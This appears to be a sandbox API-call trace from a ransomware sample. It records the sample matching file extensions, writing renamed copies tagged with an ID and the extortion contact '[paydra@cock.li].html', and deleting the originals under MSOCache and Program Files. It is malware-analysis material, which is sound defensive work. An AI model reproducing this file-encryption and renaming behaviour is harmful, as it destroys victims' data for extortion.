[0035.164] lstrlenW (lpString=".pdf") returned 4 [0035.164] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString=".xls") returned 4 [0035.164] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString=".xlsx") returned 5 [0035.164] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.164] lstrlenW (lpString=".ppt") returned 4 [0035.164] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.164] lstrlenW (lpString=".zip") returned 4 [0035.164] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString=".rar") returned 4 [0035.164] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString=".bz2") returned 4 [0035.164] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.164] lstrlenW (lpString=".7z") returned 3 [0035.164] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.164] lstrlenW (lpString=".dbf") returned 4 [0035.164] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.164] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.164] lstrlenW (lpString=".1cd") returned 4 [0035.164] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.165] lstrlenW (lpString=".jpg") returned 4 [0035.165] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.165] lstrlenW (lpString=".doc") returned 4 [0035.165] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString=".docx") returned 5 [0035.165] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0035.165] lstrlenW (lpString=".pdf") returned 4 [0035.165] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString=".xls") returned 4 [0035.165] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString=".xlsx") returned 5 [0035.165] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0035.165] lstrlenW (lpString=".ppt") returned 4 [0035.165] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.165] lstrlenW (lpString=".zip") returned 4 [0035.165] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString=".rar") returned 4 [0035.165] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString=".bz2") returned 4 [0035.165] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0035.165] lstrlenW (lpString=".7z") returned 3 [0035.165] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.165] lstrlenW (lpString=".dbf") returned 4 [0035.165] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.165] lstrlenW (lpString=".1cd") returned 4 [0035.165] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0035.165] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0035.166] lstrlenW (lpString=".jpg") returned 4 [0035.166] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0035.166] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.166] lstrlenW (lpString="branding.xml") returned 12 [0035.166] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.171] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=596341) returned 1 [0035.171] CloseHandle (hObject=0x180) returned 1 [0035.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0035.171] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0035.171] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.171] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.171] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.172] GetLastError () returned 0x0 [0035.172] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x91975, lpOverlapped=0x0) returned 1 [0035.188] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0035.757] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.757] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.757] SetEndOfFile (hFile=0x198) returned 1 [0035.757] CloseHandle (hObject=0x198) returned 1 [0035.762] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.762] SetEndOfFile (hFile=0x180) returned 1 [0035.767] CloseHandle (hObject=0x180) returned 1 [0035.767] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.768] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0035.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.768] lstrlenW (lpString=".doc") returned 4 [0035.768] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.768] lstrlenW (lpString=".docx") returned 5 [0035.768] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.768] lstrlenW (lpString=".pdf") returned 4 [0035.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.768] lstrlenW (lpString=".xls") returned 4 [0035.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.768] lstrlenW (lpString=".xlsx") returned 5 [0035.768] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.768] lstrlenW (lpString=".ppt") returned 4 [0035.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.768] lstrlenW (lpString=".zip") returned 4 [0035.768] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.768] lstrlenW (lpString=".rar") returned 4 [0035.768] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.768] lstrlenW (lpString=".bz2") returned 4 [0035.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.768] lstrlenW (lpString=".7z") returned 3 [0035.768] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.768] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.768] lstrlenW (lpString=".dbf") returned 4 [0035.768] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.769] lstrlenW (lpString=".1cd") returned 4 [0035.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.769] lstrlenW (lpString=".jpg") returned 4 [0035.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.769] lstrlenW (lpString=".doc") returned 4 [0035.769] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString=".docx") returned 5 [0035.769] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0035.769] lstrlenW (lpString=".pdf") returned 4 [0035.769] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString=".xls") returned 4 [0035.769] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString=".xlsx") returned 5 [0035.769] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0035.769] lstrlenW (lpString=".ppt") returned 4 [0035.769] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.769] lstrlenW (lpString=".zip") returned 4 [0035.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.769] lstrlenW (lpString=".rar") returned 4 [0035.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString=".bz2") returned 4 [0035.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString=".7z") returned 3 [0035.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.769] lstrlenW (lpString=".dbf") returned 4 [0035.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.769] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.770] lstrlenW (lpString=".1cd") returned 4 [0035.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0035.770] lstrlenW (lpString=".jpg") returned 4 [0035.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.770] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.770] lstrlenW (lpString="VisiorWW.xml") returned 12 [0035.770] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0035.872] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8723) returned 1 [0035.872] CloseHandle (hObject=0x18c) returned 1 [0035.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0035.873] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0035.873] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.873] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.873] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0035.873] GetLastError () returned 0x0 [0035.873] ReadFile (in: hFile=0x18c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x2213, lpOverlapped=0x0) returned 1 [0035.893] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0035.894] ReadFile (in: hFile=0x18c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.894] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0035.894] SetEndOfFile (hFile=0x1ac) returned 1 [0035.894] CloseHandle (hObject=0x1ac) returned 1 [0035.895] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.895] SetEndOfFile (hFile=0x18c) returned 1 [0035.896] CloseHandle (hObject=0x18c) returned 1 [0035.896] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.896] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0035.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.897] lstrlenW (lpString=".doc") returned 4 [0035.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString=".docx") returned 5 [0035.897] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.897] lstrlenW (lpString=".pdf") returned 4 [0035.897] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString=".xls") returned 4 [0035.897] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString=".xlsx") returned 5 [0035.897] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.897] lstrlenW (lpString=".ppt") returned 4 [0035.897] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.897] lstrlenW (lpString=".zip") returned 4 [0035.897] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.897] lstrlenW (lpString=".rar") returned 4 [0035.897] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString=".bz2") returned 4 [0035.897] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString=".7z") returned 3 [0035.897] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.897] lstrlenW (lpString=".dbf") returned 4 [0035.897] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.897] lstrlenW (lpString=".1cd") returned 4 [0035.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.897] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.897] lstrlenW (lpString=".jpg") returned 4 [0035.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.898] lstrlenW (lpString=".doc") returned 4 [0035.898] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString=".docx") returned 5 [0035.898] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.898] lstrlenW (lpString=".pdf") returned 4 [0035.898] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString=".xls") returned 4 [0035.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString=".xlsx") returned 5 [0035.898] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.898] lstrlenW (lpString=".ppt") returned 4 [0035.898] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.898] lstrlenW (lpString=".zip") returned 4 [0035.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.898] lstrlenW (lpString=".rar") returned 4 [0035.898] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString=".bz2") returned 4 [0035.898] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString=".7z") returned 3 [0035.898] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.898] lstrlenW (lpString=".dbf") returned 4 [0035.898] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.898] lstrlenW (lpString=".1cd") returned 4 [0035.898] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.898] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0035.898] lstrlenW (lpString=".jpg") returned 4 [0035.898] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.008] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.008] lstrlenW (lpString="Alphabet.xml") returned 12 [0036.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.043] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=791686) returned 1 [0036.043] CloseHandle (hObject=0x190) returned 1 [0036.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0036.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.043] lstrlenW (lpString=".doc") returned 4 [0036.043] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.043] lstrlenW (lpString=".docx") returned 5 [0036.043] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.043] lstrlenW (lpString=".pdf") returned 4 [0036.043] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.043] lstrlenW (lpString=".xls") returned 4 [0036.043] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.043] lstrlenW (lpString=".xlsx") returned 5 [0036.043] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.043] lstrlenW (lpString=".ppt") returned 4 [0036.043] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.043] lstrlenW (lpString=".zip") returned 4 [0036.043] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.043] lstrlenW (lpString=".rar") returned 4 [0036.043] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.043] lstrlenW (lpString=".bz2") returned 4 [0036.043] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString=".7z") returned 3 [0036.044] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.044] lstrlenW (lpString=".dbf") returned 4 [0036.044] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.044] lstrlenW (lpString=".1cd") returned 4 [0036.044] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.044] lstrlenW (lpString=".jpg") returned 4 [0036.044] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0036.044] lstrlenW (lpString=".doc") returned 4 [0036.044] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString=".docx") returned 5 [0036.044] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.044] lstrlenW (lpString=".pdf") returned 4 [0036.044] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString=".xls") returned 4 [0036.044] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.044] lstrlenW (lpString=".xlsx") returned 5 [0036.044] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.044] lstrlenW (lpString=".ppt") returned 4 [0036.044] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.044] 